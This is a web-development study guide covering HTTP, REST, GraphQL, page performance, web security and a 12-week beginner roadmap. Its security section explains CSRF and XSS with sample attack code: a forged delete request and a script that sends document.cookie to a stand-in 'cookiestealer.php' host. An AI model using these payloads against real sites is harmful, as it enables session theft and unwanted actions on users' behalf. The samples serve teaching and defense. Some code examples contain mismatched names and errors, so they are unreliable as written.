- It is a simple `request -> response cycle` between a local machine called as client and a remote machine called as server
- When a request is made it has 3 main pieces
  - Start-line
    - Method, target, version
    - ex: `GET /image.jpg HTTP/2.0`
  - Headers
  - Body
- When a response is send back it also has 3 main pieces
  - Start-line
    - Version, status code, status text
    - ex: `HTTP/2.0 404 Not Found`
  - Headers
  - Body

HTTP is a stateless protocol

- It treats each pair of request and response independent
- It does not require to store session information
- This simplifies the server design
- As there is no clean up process required of server state in case the client dies
- But, disadvantage being - additional information is required with every request which is interpreted by server

HTTP Headers

- Information about client and server systems are transmitted through HTTP headers
- For ex: timestamps, IP addresses, server capabilities, browser information, cookies
- Some examples of HTTP headers are as mentioned below
- General headers
  - Request URL: https://www.ngninja.com

- Request Method: GET
- Status Code: 200 OK
- Request Headers
  - Accept: text/html
  - Accept-Language: en-US,en
  - Connection: keep-alive
  - Host: ngninja.com
  - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6
  - Cookie: key=value; key2=value2; key3=value3
- Response Headers
  - Connection: keep-alive
  - Content-Encoding: gzip
  - Content-Type: application/json
  - Server: nginx
  - X-Content-Type-Options: nosniff
  - Content-Length: 648

SSL and TLS

- Secure Sockets Layer - SSL
- Transport Layer Security - TLS
- SSL and TLS are cryptographic protocols that guards HTTP
- The combination of TLS (or SSL) and HTTP creates an HTTPS connection
- SSL is older than TLS
- But, "SSL" is commonly used to refer to TLS
- Following protocols use TLS
  - HTTPS = HTTP + TLS
  - FTPS = FTP + TLS
  - SMTPS = SMTP + TLS
- Why do we need TLS?
  - Authentication
    - Verify identity of communicating parties
  - Confidentiality
    - Protect exchange of information from unauthorized access
  - Integrity
    - Prevent alteration of data during transmission

Web Services

- They are reusable application components
  - Ex: currency conversion app, weather app
- These applications are mainly based on open standards like XML, HTTP, SOAP,etc.

- Web services communicate with each other to exchange data
- They are self-contained, modular, distributed, dynamic applications
- They use standardized XML messaging system

How do web services work?

- Web services work using the following components
- SOAP
    - Simple Object Access Protocol
    - It is a communication protocol
    - Used to transfer messages
    - It uses the internet to communicate
    - XML based messaging protocol
- WSDL
    - Web Services Description Language
    - Used describe the availability of service
    - This is written in XML
    - It is used to describe operations and locate web services

Why web services?

- You can expose existing functionality over the internet and make them reusable
- Applications using different tech-stack can communicate with each other
- It offers low-cost way of communicating
- It decouples your application from the web service
- It can be used to exchange simple to complex documents/data

RESTful web services

- REST is an architectural style
- REpresentational State Transfer (REST)
- It is a stateless client-server architecture
- Web services are viewed as resources and they are identified by their URIs
- Web clients can access or modify these REST resources
- This lets us use HTTP for all four CRUD (Create/Read/Update/Delete) operations
- It is often used in mobile applications, social networking sites

```
Query example:

http://www.ngninja.com/user/12345
```

Benefits of REST APIs

- It is a light-weight alternative to RPC, SOAP
- Platform-independent, Language-independent
- REST is totally stateless operations
- REST - simple GET requests, caching possible
- REST is simpler to develop
- Separating concerns between the Client and Server helps improve portability
- Client-server architecture also helps with scalability

More details about REST APIs

- GET query is used to get/read a resource
- POST is used to create
    - It is not idempotent
- PUT is used to update (if does not exist create it)/Replace
    - It must also be idempotent
- DELETE is used to delete resources
    - The operations are idempotent

> Idempotent means result of multiple successful requests will not change the state of the resource after initial application

GraphQL

- Developed by Facebook
- Co-creator Lee Byron
- It is an open-source server-side technology
- It is an execution engine and a data query language

Simple Example

- Lets query for Person data
- Person entity can contain other information too like `lastname, date of birth`
- But we can only query for `firstName` if we want to.

```
// Query

{
  person {
```

```
    id
    firstName
  }
}
```

```
// Result

{
  "data": {
    "person": [
      {
        "id": "123",
        "firstName": "Foo"
      },
      {
        "id": "234",
        "firstName": "Boo"
      }
    ]
  }
}
```

Benefits of GraphQL / Why GraphQL?

- Fast
    - It gives only what you ask for
    - It saves multiple round trips
- Robust
    - It returns strongly typed response
- APIs don't need versioning
    - Because you can customize what you ask for at any time
- Docs are auto-generated
    - Because it is strongly typed language
- Central schema
    - It provides a central data model
    - It validates, executes, and is always an accurate picture of what data operations can be performed by the app
- Provides powerful query syntax for traversing, retrieving, and modifying data
- Ask for what you want
    - It gets exactly that
    - It can restrict data that should be fetched from the server

- Debugging is easy
  - Because it is strongly typed language

Setup GraphQL

- You need the recent version of Node.js
  - run node -v to verify
  - VSCode GraphQL plugin is recommended

Create First GraphQL Application

- Create a folder my-app
- Go to the folder
- Create package.json with following dependencies

```json
{
  "name": "ngninja-graphql-apollo-server-example",
  "private": true,
  "version": "1.0.0",

  ...

  "dependencies": {
    "body-parser": "1.17.2",
    "cors": "2.8.3",
    "express": "4.15.3",
    "graphql": "0.10.3",
    "graphql-server-express": "0.9.0",
    "graphql-tools": "1.0.0"
  },
  "devDependencies": {
    "babel-cli": "6.24.1",
    "babel-plugin-transform-export-extensions": "^6.22.0",
    "babel-preset-env": "^1.5.2"
  }
}
```

- Then install all dependencies

```
npm install
```

Data Access Layer

- Create your database document in a file called `person.json` under `data` folder

```
// person.json

[
    {
        "id": "123",
        "firstName":"Foo",
        "lastName":"Boo",
    },
]
```

Data store

- We need to create a datastore that loads the data folder contents
- Create `db.js` file under your project folder

```
const { DataStore } = require('notarealdb')

const store = new DataStore('./data')

module.exports = {
    persons:store.collection('persons'),
}
```

Create a schema file `schema.graphql`

- It describes the functionality available to the clients
- It helps decouple client and server

```
// schema.graphql

type Query {
    persons:[Person]
}

type Person {
    id:ID!
    firstName:String
    lastName:String
}
```

Creating your first resolver

- Resolver is a function that generates response for a query
- persons resolver will return the list of persons
- Create resolver.js file

```
// resolver.js

const db = require('./db')
const Query = {
    persons:() => db.persons.list()
}

module.exports = {Query}
```

Query

- This is how you fetch and read data in Graphql
- The query keyword is optional
- It is better than REST API
  - Because user has flexibility on what fields to query for
  - Smaller queries means lesser network traffic so better performance

```
// query with name myQuery

query myQuery{
```

```
    persons {
      id
    }
}

// without query keyword

{
    persons {
      id
    }
}
```

Nested Query

- You can also nest queries to create complex queries and fetch multiple entities
- Example get persons and their companies

```
// schema file

type Company {
    id:ID!
    name:String
}

type Person {
    id:ID!
    firstName:String
    lastName:String
    company:Company
}
```

- Now update the resolve to return nested results
- root represents person entity
- companyId is used to query for the companies

```
// resolver file

const Person = {
    firstName:(root,args,context,info) => {
      return root.firstName
    },
```

```
      company:(root) => {
          return db.companies.get(root.companyId);
      }
  }
}
module.exports = {Query,Student}
```

- write nested query

```
{
   persons{
      id
      firstName
      company {
         id
         name
      }
   }
}
```

Dynamic Queries

- you can use query variables to pass dynamic values to the query

```
// schema
type Query {
   sayHi(name:String!):String
}
```

```
// resolver
sayHello:(root,args,context,info) => `Hi ${args.name}. Welcome!`
```

```
// query
query myQuery($myname:String!) {
   sayHello(name:$myname)
}
```

Mutations

- way to modify server data
- use it to insert, update, or delete data
- you can do it using query too... but not recommended
    - just like GET can modify data...
    - but not a good convention

```
// simple example
// schema

type Mutation {
    createPerson(firstName:String,lastName:String):String
}
```

```
// resolver

const db = require('./db')

const Mutation = {
    createPerson: (root, args, context, info) => {
      return db.students.create({
        firstName: args.firstName,
        lastName: args.lastName,
      })
    },
  }

module.exports = {Mutation}
```

```
// mutation query

mutation {
    createPerson(firstName:"Foo",lastName:"Boo")
}
```

- above mutation query will create a new person

Setting up GraphQL client

- Create react app using the `create-react-app` tool

```
npx create-react-app my-app
```

- Run a development server at port `3000` to run this react app
- Below code is to get Graphql data in App component
  - It assumes you have run the application
  - Then click the Show button
  - It should you the first person's first name

```
import React, { Component } from 'react';
import './App.css';

async function loadPeople(name) {
   const response =  await fetch('http://localhost:9000/graphql', {
      method:'POST',
      headers:{'content-type':'application/json'},
      body:JSON.stringify({query:`{persons}`})
   })
   const responseBody =  await response.json();
   return responseBody.data.persons;
}

class App extends Component {
   constructor(props) {
      super(props);
      this.state =  {persons: []}
      this.showPerson =  this.showGreeting.bind(this);
   }

   showPerson() {
    loadPeople().then(data => this.setState({persons: data}))
   }

   render() {
     const {persons} = this.state;

      return (
         <div className = "App">
            <header className = "App-header">
               <h1 className = "App-title">Welcome to React</h1>
            </header>
```

```
            <br/><br/>
            <section>
                <button id = "btnGreet" onClick =
{this.showPerson}>Show</button>
                <br/>
                <div id = "personsDiv">
                    <h1>{persons[0].firstName}</h1>
                </div>
            </section>
        </div>
    );
  }
}

export default App;
```

GraphQL vs RESTful APIs

- REST API returns a lot of things
  - Not everything is necessary all the time
  - Not good for slower clients
- There is no query language built into REST
  - So cannot request just the required data
- REST not good for client-specific services
  - You might have to create another intermediate service.. to provide client-specific data
- REST needs multiple round trips for related data/resources

Apollo

- Apollo provides all tooling to manage any data your app needs
- It is easy to implement data fetching, loading, error handling
- It also manages cache
  - It does not blindly query for the data
- Apollo has control over fetching policies
- It helps with data pre-fetching
- It offers optimistic updates
  - Apollo don't wait for the full round trip
  - It immediately updates UI with the data you know will be there
  - Use the `optimisticResponse` prop
- Pre-fetch, delay-fetch, polling - all possible
- You can set poll frequency
- Works great with Typescript

- It also offers server-side rendering

Module 3 - Web Application Performance

List of ways to reduce page load time?

- Write and include your CSS on top
- Add your JavaScript references at the bottom
- Lazy loading use `defer` in script tag - `<script src="index.js" defer></script>`
- Reduce your image size
- Use `webp` image format
    - They provide lossless compression
- Use `svg` whenever possible
    - They are smaller than bitmap images, responsive by nature
    - They work well with animation
- Use browser caching on your API requests
    - Delivering cached copies of the requested content instead of rendering it repeatedly
- Reduces the number of client-server round trips
- Use fragment caching
    - It stores the output of some code block that remains unchanged for a very long time
    - It is an art of caching smaller elements of non-cacheable dynamic website content
    - Example: Redis object cache
- Reduce load on the Database server
    - Heavy queries - complicated joins should be put on caching servers. Like Redis.
    - Your Database should be hit minimum times possible
    - Reduce simple queries
    - Add minimum table join queries
- Add master-slave Database config
    - Master is the true copy
    - Slaves are replicates
    - Writes happen on master
    - Reads can happen on slaves
    - Have multiple masters to reduce downtime during updates
- Do Database sharding
    - Simple formula: `ID's mod by N`
    - There are other sophisticated algorithms you can use

How to lazy load images?

- There are plugins available too
- Below are some methods using vanilla JavaScript

Method 1

- David Walsh's method
- It is easy to implement and it's effective
- Images are loaded after the HTML content
- However, you don't get the saving on bandwidth that comes with preventing unnecessary image data from being loaded when visitors don't view the entire page content
- All images are loaded by the browser, whether users have scrolled them into view or not
- What happens if JS is disabled?
    - Users may not see any image at all
    - Add `<noscript>` tag with src property

```
<noscript>
  <img
    src="myImage.jpg"
    alt="My Image"
    width="300px" />
</noscript>
```

Example

- Here we are selecting all the images with `img[data-src]` selector
- Once the HTML is loaded we just replace the `data-src` attribute with `src` attribute which will render the image

```
<img data-src="myImage.jpg" alt="My Image">

[].forEach.call(document.querySelectorAll('img[data-src]'), function(img)
{

  img.setAttribute('src', img.getAttribute('data-src'));

  img.onload = function() {
    img.removeAttribute('data-src');
  };

});
```

Method 2

- Progressively Enhanced Lazy Loading
- It is an add on to previous David Walsh's method
- It lazy loads images on scroll
- It works on the notion that not all images will be loaded if users don't scroll to their location in the browser

Example

- We have defined function `isInViewport` which determines where the image "rectangle" via the `getBoundingClientRect` function
- In that function we check if the coordinates of the image are in the viewport of the browser
- If so, then the `isInViewport` function returns true and our `lazyLoad()` method renders the image
- If not, then we just skip rendering that image

```
function lazyLoad(){
  for(var i=0; i<lazy.length; i++){
    if(isInViewport(lazy[i])){
      if (lazy[i].getAttribute('data-src')){
        lazy[i].src = lazy[i].getAttribute('data-src');
        lazy[i].removeAttribute('data-src');
      }
    }
  }
}

function isInViewport(el){
  var rect = el.getBoundingClientRect();

  return (
    rect.bottom >= 0 &&
    rect.right >= 0 &&
    rect.top <= (window.innerHeight ||
document.documentElement.clientHeight) &&
    rect.left <= (window.innerWidth ||
document.documentElement.clientWidth)
  );
}
```

Web Worker

- JavaScript is single-threaded
  - It means you cannot run more than 1 script at the same time

- Web workers provide a mechanism to spawn a separate script in the background
    - You can do any calculation - without disturbing the UI
    - You won't get that website unresponsive chrome error!
- Web workers are general-purpose scripts that enable us to offload processor-intensive work from the main thread
    - UI logic/rendering usually runs on the main thread
- They enable developers to benefit from parallel programming in JavaScript
    - Run different computations at the same time
- When the background thread completes its task it seamlessly notifies the main thread about the results

> NOTE: Ajax call is not multi-threading. It is just non-blocking.

How Web Workers work

- Basic communication happens between UI and web worker using following API
    - `postmessage()` - to send message
    - `onmessage()` - to receive message
    - `myWorker.terminate()` - to terminate the worker thread

```
example:

// main.js file

if(window.Worker) {

    let myWorker = new Worker("worker.js");
    let message = { add: { a: 1, b: 2 } };

    myWorker.postMessage(message);

    myWorker.onmessage = (e) => {
        console.log(e.data.result);
    }
}

// worker.js file

onmessage = (e) => {
    if(e.data.add) {
        let res = e.data.add.a + e.data.add.b;

        this.postMessage({ result: res });
    }
}
```

- In the above example - `main.js` script will be running on main thread
- It creates a new worker called `myWorker` and sends it a message via `postMessage` API
- The worker receives the message `onmessage` and it identifies that it has to do addition operations
- After the addition is completed the worker sends back the results again using the `postMessage` API
- Now, the main thread receives the result via the `onmessage` API and it can do its logic on the result it got

Terminating the worker thread

- There are two ways to do it
- From main thread call `worker.terminate()`
  - Web worker is destroyed immediately without any chance of completing any ongoing or pending operations
  - Web worker is also given no time to clean up
  - This may lead to memory leaks
- From the worker thread call `close()`
  - Any queued tasks present in the event loop are discarded

Web workers use cases

- Data and web page caching
- Image encoding - `base64` conversion
- Canvas drawing
- Network polling and websockets
- Background I/O operations
- Video/audio buffering and analysis
- Virtual DOM diffing
- Local database operations
- Computation intensive operations

Important points about Web workers

- Web worker has NO access to:
  - `window` object
  - `document` object
  - Because it runs on a separate thread
- Basically, **web worker cannot do DOM manipulation**
- Web worker has access to -
  - `navigator` object

- `location` object
- `XMLHttpRequest` – so you can make ajax calls
- One worker can spawn another worker
  - To delegate its task to the new worker

Web workers cons

- There's a lot of overhead to communicate/messaging between master and worker
- That's probably the main reason developers hesitate to use them
- `[comlink](https://github.com/GoogleChromeLabs/comlink)` library streamline this communication
  - you can directly call the work function instead of using `postMessage` and `onMessage`
  - https://github.com/GoogleChromeLabs/comlink

Server-side rendering SSR vs Client-side rendering CSR

Client-side rendering

- When the browser makes a request to the server
  - HTML is returned as response
  - But no content yet
  - Browsers gets almost empty document
  - User sees a blank page until other resources such as JavaScript, styles, etc are fetched
  - Browser compiles everything then renders the content
- Steps involved
  - Download HTML
  - Download styles
  - Download JS
  - Browser renders page
  - Browser compiles and executes JavaScript
  - The page is then viewable and interact-able

Advantages of Client-Side Rendering

- Lower server load since the browser does most of the rendering
- Once loaded pages don't have to be re-rendered so navigating between pages is quick

Disadvantages of Client-Side Rendering

- Initial page load is slow
- SEO (Search Engine Optimization) may be low if not implemented correctly

Server-side rendering

- When the browser makes a request to the server
    - Server generates the HTML as response plus the content
    - Server sends everything - HTML, JS to render page
    - So, the page is viewable but not interact-able
- Steps involved
    - Server sends ready to be rendered HTML, JS, and all the content
    - Browser renders page - the page is now viewable
    - Browser downloads JavaScript files
    - Browser compiles the JavaScript
    - The page is then interact-able too

Advantages of Server-Side Rendering

- The user gets to see the content fast compared to CSR
    - The user can view page until all the remaining JavaScript, Angular, ReactJS is being downloaded and executed
- The browser has less load
- SEO friendly
- A great option for static sites

Disadvantages of Server-Side Rendering

- Server has most of the load
- Although pages are viewable, it will not be interactive until the JavaScript is compiled and executed
- All the steps are repeated when navigating between pages

Module 4 - Web security

Authentication vs Authorization

- Two related words that are often used interchangeably
- But they are technically different

Authentication

- Authentication answers who are you?
- It is a process of validating that users are who they claim to be
- Examples
    - Login passwords
    - Two-factor authentication
    - Key card
    - Key fobs
    - Captcha tests
    - Biometrics

Authorization

- Authorization answers are you allowed to do that?
- It is a process of giving permissions to users to access specific resources and/or specific actions
- Example
    - Guest customer
    - Member customer
    - Admin of the shop

OAuth

- It is an authorization framework and a protocol
- Simply put - it is a way for an application to access your data which is stored in another application
    - Without needing to enter username and password manually
- It is basically just a way to delegate authentication security to some other site
    - Which already have your account
    - Example: Facebook, Gmail, LinkedIn, etc...
- Example
    - When you are filling out job applications

- Go to the employer job page
- Popup is shown to login with Gmail or LinkedIn
- Gmail, LinkedIn shows the consent page - to share email, contacts, etc with this site
- Your account is then created without you creating username or password for the employer's site
- And the next time when you come
- Site requests token from the Gmail authentication server
- The employer site gets your data and you are logged in!

How does OAuth work?

- You will have to register your app with the `OAuth provider` like Google, Twitter, etc.
- You will receive the application's `id and secret`
    - This secret allows you to speak OAuth to the provider
- When a user comes to your app
    - Your app sends a request to the OAuth provider
    - The provider sends you a `new token`
- Then your app redirects the user to the `OAuth provider` which includes that new token and a `callback URL`
- The OAuth confirms the identity of the user with a `consent form`
    - The OAuth also asks your app what information exactly your app needs from it via the `access token`
        - Ex: username, email, or a set of access rights
- After the identity is confirmed by the OAuth provider it redirects the user back to the `callback URL` you app had sent to with the request

JSON Web Token - JWT

- It is standard used to create access tokens for an application
- It is a way for securely transmitting information between parties as a JSON object
- Information about the auth (authentication and authorization) can be stored within the token itself
- JWT can be represented as a single string

Structure of JWT

- It is made up of three major components
- Each component is base64 encoded

```
base64Url(header) + '.' + base64Url(payload) + '.' + base64Url(signature)
```

```
example how JWT looks like:

feJhbGciOizzUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiQm9iYnkgVGFibGVzIiwiaWF0I
joxNTE2MjM5MDIyLCJpc0FkbWluIjp0cnVlLCJwZXJtaXNzaW9ucyI6eyJjZVyc01ha2UiOnR
ydWUsInVzZXJzQmFuIjp0cnVlLCJ1c2Vyc0RlbGV0ZSI6ZdEsc2V9fQ.HFRcI4qU2lyvDnXhO-
cSTkhvhrTCyXv6f6wXSJKGblk
```

- Header
  - Contains the metadata about the JWT itself
  - Ex: type of algorithm used to encrypt the signature

```
// Header example

{
  "alg": "HS256",
  "typ": "JWT"
}
```

- Payload
  - This is the most important part from the app's perspective
  - Payload contains the `claims`
  - User sends this payload to the server
  - Server then decodes the payload to check for example whether the user can delete a
    resource

```
// Payload example

{
  "name": "Ninja",
  "iat": 123422221, // timestamp the JWT was issued
  "isAdmin": true,
  "permissions": {
    "canViewOrders": true,
    "canDeleteOrders": false
  }
```

```
}
```

- Signature
  - This pertains to the security
  - Basically, it's a hashed value of your header, payload, and SECRET
  - The secret that only server and trusted entities know
  - Server used this signature to validate the JWT sent by the user
  - It looks gibberish

Popular analogy to explain JWt

- Imagine international airport
- You come to the immigration and say - "hey I live here, please pass me through"
  - Your passport confirms this
- Passport office - authentication service which issued JWT
- Passport - JWT signed by passport office
- Citizenship/visa - your claim contained in the JWT
- Border immigration - security layer which verifies and grants access to the resources
- Country - the resource you want to access

How JWT works

- JWT is returned as a response to the user after successful login
- JWT is saved locally on local storage, session storage or cookie
- When user want to access private route
  - user query request will send the JWT in authorization header using the bearer schema
    `Authorization: Bearer <token>`
- Protected route checks if the JWT is valid and whether the user has the access
  - If so, then user is allowed to the route or perform the restricted action

Advantages of JWT

- It is compact so transmission is fast
- JSON is less verbose
- It is self contained
  - The payload contains all the required information about user

- So no need to query server more than once
- It is very secure
  - It can use the shared SECRET as well as pub/private key pair
  - Strength of the security is strongly linked to your secret key
- It is easy to implement
  - Developers use Auth0 to manage majority if the JWT stack

Disadvantages of JWT

- Logouts, deleting users, invalidating token is not easy in JWT
- You need to whitelist or backlist the JWTs
- So every time user sends JWT in the request you have to check in the backlist of the JWT

Local storage vs Session storage

- They both are a way of client side data storage
- Introduced as a part of HTML5
- They are considered better than cookie storage

localStorage

- Data stored here exist until it's deleted
- Up to 5MB storage available - which is more than possible in cookies
- They help reduce traffic - because we don't have to send it back with HTTP requests
- Data is stored per domain
  - That means website A's storage cannot be accessed by website B

```
// Store
localStorage.setItem("blog", "NgNinja Academy");

// Retrieve
console.log(localStorage.getItem("blog"))
```

sessionStorage

- It is very similar to the localStorage
- Only difference is how much time the data is persisted

- It stores data for one session
- It is lost when session is closed - by ex: closing the browser tab

```
// Store
sessionStorage.setItem("blog", "NgNinja Academy");

// Retrieve
console.log(sessionStorage.getItem("blog"))
```

Web attacks

- They are biggest security threats in today's world
- Attacks such as SQL injection and Cross-Site Scripting (XSS) are responsible for some of the largest security breaches in history
- Web applications are easily accessible to hackers
- Web apps are also lucrative because they store personal sensitive information like credit cards and other financial details
- There are many automated toolkits available to even untrained "hackers" which can scan your applications and expose its vulnerabilities

CSRF

- Cross Site Request Forgery
- This attack allows an attacker to force a user to perform actions they don't actually want to do
- It tricks the victim browser into performing an unintended request to a trusted website
  - When a user is authenticated on a trusted site
  - A malicious web site, email, blog, instant message, or program
  - Causes the user's web browser to perform an unwanted action on the trusted site
- Often referred to as a `one-click attack`
  - Because often all it requires for a user to do is one click

How does CSRF work?

- User visits an "evil" website
- The evil website returns a page with a harmful payload
- Browser executes that harmful payload to make request to a trusted site (which it did not intend originally)

- The harmful payload may look like below
- The script below may delete the `mySensitiveInformation.pdf` in a successful attack

```
$.post("https://dropbox.com/cmd/delete", { files:
"mySensitiveInformation.pdf" })
```

Defense against CSRF

- Developers duty is to protect their users from attacks like CSRF
- Anti-forgery tokens is one simple and easy way you can use to protect against CSRF
- The "trusted" website (dropbox in the above example) stores this token as `csrf_cookie` on the first page load
- The browser sends this CSRF token for every request it makes
- The trusted website compares this token and gives CSRF error if values do not match
- Another defense against it is to only allow POST requests from the same site
  - Other sites may still make the GET requests

XSS

- Cross Site Scripting
- The attacker injects malicious script into trusted website
  - Example: attacker injects JavaScript code which is displayed in user browser
- Vulnerabilities are injected via
  - URL
  - DOM manipulation
- Types
  - Unprotected and not sanitized user inputs are stored in database and displayed to other users
  - Unprotected and not sanitized values from URLs are directly used on the web pages
- When a user is XSS'ed
  - The attacker has access to all it's web browser content
  - Cookies, history, etc.

Example of XSS

- Ideally website inputs *should* only accept plain texts
- But consider there is a vulnerable website which accepts below script tag and saves it, like bow

```
<script>
    document.write('<img src="http://localhost/cookiestealer.php? cookie
='
    + escape(document.cookie) +
    + ' />');
</script>
```

- The browser will think its javascript code sent by server to be executed
- The user will see an image-link so user might just click it
- When the user clicks this link image gets rendered, BUT -
  - In the background this link will silently grab the cookie
  - This cookie has all the active session details
  - Now attacker can pose as user and do bad things
- `document.cookie` has the cookie
- `cookiestealer.php` has the script to send the cookie to the attacker

Defense against XSS

- Every value that can be entered by user should be treated as `untrusted data`
- All the input must be `sanitized` before storing
  - Example: all theHTML tags are removed
- Validation code for number values, username, email, password
  - There are existing libraries available for doing such validations
- Escape the strings
  - This script looks for special characters, such as `< >` and replaces them with appropriate HTML character entity name
  - There are existing libraries available for this purpose
  - Write escape logic on front end as well as back end
  - Below is a simple logic how to escape the string

```
function escapeString(str) {
  return str.replace(/</g, '&lt;')
}
```

CORS

- Cross Origin Resource Sharing

- It is a security feature of modern browsers
- Generally speaking, resources retrieved from distinct origins are isolated from each other
- Content received from one website is allowed to read and modify other content received from the same site
  - But it is not allowed to access content received from other sites.
- CORS allows restricted resources on a web page to be requested from another domain
  - Resources like images, stylesheets, fonts, scripts
- By default ajax requests are forbidden
  - For security reasons
  - Same origin security policy
- CORS basically defines whether or not it is safe to allow `cross-origin requests`
- Origin definition contains:
  - URI resource
  - Hostname
  - Port number

CORS Example

- Suppose there are 2 websites
  - aaa.com
  - bbb.com
- You have an image on path `aaa.com/example.png`
- If you try to access that image from `bbb.com` it won't be allowed *by default*
- For it to be accessed you will have to enable CORS
- CORS are disabled by default
- Following is an example how to enable CORS

```
// CORS config

Access-Control-Allow-Origin: https://aaa.com
Access-Control-Allow-Methods: GET
```

Principles of secure coding

- DO NOT trust any inputs
- Principle of least privilege
  - Give users least privilege possible with which they can still do their jobs
  - Add privileges as required
- Fail securely
  - When a system fails, it should do so securely

- On failure undo the changes and restore the last secure state
- Separation of duties
  - Example - a function should only perform one action
- Avoid security by obscurity
  - Assuming your system is safe
    - Because attackers don't know where it is, what it does, how it works or who owns it
  - It is like keeping passwords on cloud in some excel hoping attackers wont know about it
- Use stateless authentication
  - Token based authentication
  - Each request should have token
  - Use JWT for this purpose

Secure your Web application

Disable cache for web pages with sensitive data

- It might give some performance lag but it is worth doing
- `cache-control: no-cache, no-store, must-revalidate`
  - This policy tells client to not cache request, do not store data, and should evaluate every request origin server
- `expires: -1`
  - This policy tells the client to consider response as stale immediately

Use HTTPS instead of HTTP

- In simple words
  - `http` sends credentials in plain text
  - `https` encrypts the request
- The data is encrypted with a symmetric key
  - Then sent to server
  - Then the server decrypts the data using the symmetric key to get the plain text data back

Prevent `Content-Type` Sniffing

- Browsers can detect response content type correctly irrespective of the content-type specified
- This feature is called `content-type sniffing` or `MIME sniffing`
- This feature is useful, but also dangerous
- An evil person can do `MIME confusion attack`
  - They can inject a malicious resource, such as a malicious executable script
  - Masquerading as an innocent resource, such as an image

- Browser will ignore the declared image content type because it can derive the actual content type
  - And instead of rendering an image will execute the malicious script
- Use - `X-Content-Type-Options: nosniff`
  - Now, the browser will not use sniffing when handling the fetched resources

Security in JavaScript

- Validate user inputs on server side too
- Do not use `eval`
  - But beware, inbuilt JavaScript methods use `eval` under the hood like - `setTimeout()`, `setInterval()`, `function()`
  - So always sanitize the inputs to these methods
- Save from `XSS`
  - Sanitize the inputs
  - Research is going on to make this process on the fly
- Encode output - escape special characters
  - Like for string `<div>` - escape or encode the `<` and `>`
- Session management
  - Do not implement custom authentication
  - It is hard to do correctly and often have flaws in implementation
- Don't expose session token in URL
  - `ATnT` company had this vulnerability
  - Session token should timeout
  - Use `OAUTH2.0`
- Password management
  - Don't use `SHA1` hashing function now. It is not foolproof.
  - Use `SALT`
  - Use `2-factor authentication`
- Do not disclose too much info in error logs and console logs

Roadmap To Become Web Developer – Beginner

12 Week Plan Overview

Things You Will Learn In This 12 Weeks

- HTML deep dive
- CSS deep dive
- JavaScript fundamentals
- Web Development fundamentals
- Chrome developer tools
- Git Basics
- Interview Prep

12 Week Plan Details

Week 1

- HTML
  - Anatomy of HTML
    - history, what can HTML do
  - What is DOM
    - What are DOM nodes
  - Tags - `HTML, Body, Head, Nav`
  - Tags - `Div, P, Section, Span`
- CSS
  - What is Box-model
  - Selectors - `Id, Class, Element-tag`
  - Properties - `Color, Background-color, Border`
  - Properties - `Margin, Padding`
- Chrome Developer Tools
  - Elements tab
    - select DOM element through dev-tool
  - Inspect an element
  - Inspect styles of the element
  - Change styles through the inspect tool
  - Delete classes from the element
  - Add new class to the element through the dev tool
- Exercise
  1. Create HTML page
  2. Add Navigation bar with items - Home, About, Contact Us
  3. Set background color of navigation bar to Blue
  4. Add a text paragraph inside Div element below navigation bar

Week 2

- HTML
  - Formatting: `Strong, Italicize, Subscript, Strikeout`
  - Inner HTML
  - `Anchor` tag
  - `Images`
    - add image
    - set height-width
    - repeat property
    - size property

- DOM Manipulation through dev tools
  - change inner HTML
  - delete DOM node
- CSS
  - Decoupling CSS from HTML
  - Write CSS in a file
  - Import CSS from CDN
  - What is CDN
  - Why to use CDN
  - Playing with Fonts, font size, weight, family
  - Height and Width
  - Position properties
  - Display properties
- JavaSCript
  - Hello World
  - What and Why JavaScript
  - Primitive data types - `Numbers, Boolean, String, etc`
  - Variables - `var, let, const`
    - What is the difference between them
    - When to use which type of declaration
- Exercise
  1. Edit style of an element from dev tool
  2. Edit inner HTML of an element from dev tool
  3. Edit class and other attributes from dev tool
  4. Add image with a link that will take you to google.com

Week 3

- HTML
  - Unordered Lists
  - Ordered Lists
  - Attributes vs Properties
  - Builtin and Custom attributes
- CSS
  - Fun with borders - `style, dash, dotted, width`
  - Fun with shadows
  - Using Google Font Icons
    - Add phone, home, facebook, instagram icon
    - Use Font awesome icons
  - Working with floats
    - Left, right float
  - Centering elements and other position quirks
  - `px` vs `%` units
- JavaScript

- Operators
    - add, subtract, multiple, divide, mod
  - Complex data types
    - objects, arrays
  - null and undefined
- Exercises
    1. CSS selectors - grab element by id, class, and tag and change their property
    2. Make image float to the right of the text-paragraph
    3. Make a list of grocery
    4. Perform addition, subtraction, division, and multiplication of two numbers

Week 4

- HTML
  - Input and Button tags
  - Web storage, local storage, session storage
    - Why do we need them
    - When to use which type of storage
  - Intro to Canvas and SVG
    - Difference between them
  - Accessibility
    - Why is this important
    - How to add accessibility attributes on Anchor, Buttons, Image elements
- CSS
  - Parents, siblings, and other selectors
  - Pseudo classes
  - Pseudo elements
    - What and why do we use them?
  - CSS Gradients
- JavaScript
  - Truthy and Falsy values
    - List of such values
    - How to check if a variable is truthy or falsy
  - Conditionals - if, else, switch, ternary
    - How to write nested ternary
  - Loops
    - for, while
    - When to use which?
    - Are there any performance differences between them?
  - Arrays and collections
    - When to use arrays?
    - How to traverse arrays?
- Chrome Developer Tools
  - Debugging your function using console logs

- What is JSON
- JSON.Stringify
    - Change JavaScript Object to JSON
    - Change JSON to JavaScript Object
- Tip and tricks of using dev tools
- Exercises

    1. Create 3 beautiful colored gradient squares
    2. Add alternate text to an image
    3. Swap values of 2 variables in JavaScript

Week 5

- HTML
    - Script tag
        - Add JS code in `Script` tag
        - Add JS from external file
    - `Form` tag
    - Input types - `text, password, email, etc.`
- CSS
    - Changing CSS with pure JavaScript
    - `Add, remove, and toggle classes` with JavaScript
- JavaScript
    - `document vs window object`
    - Event listeners
    - Event handling
    - Event bubbling and Event delegation
    - JavaScript as OOP
- Git
    - What and why Git
    - Create a Git repo
    - What are branches
    - Committing, pushing, and pulling changes
        - What are the commands for these operations?
        - What flags do they take
- Exercise

    1. Write JavaScript in a separate file and use it in your HTML
    2. Change paragraph text color from black to red using JavaScript
    3. Create a simple login form and create an onClick event handler that will log a message to the console
    4. Grab element by its ID and change its inner HTML

Week 6

- HTML
  - Radio buttons
  - Checkboxes
  - When to use Radio buttons vs When to use Checkboxes
- CSS
  - Introduction - What and Why Flexbox
  - Flexbox properties
    - `flex-direction`
    - `flex-wrap`
    - `just-content`
    - `align-items`
- JavaScript
  - Builtin Functions
  - Custom Functions and Methods
    - Write a custom function
    - Call that custom function from another function
  - Scoping in JavaScript
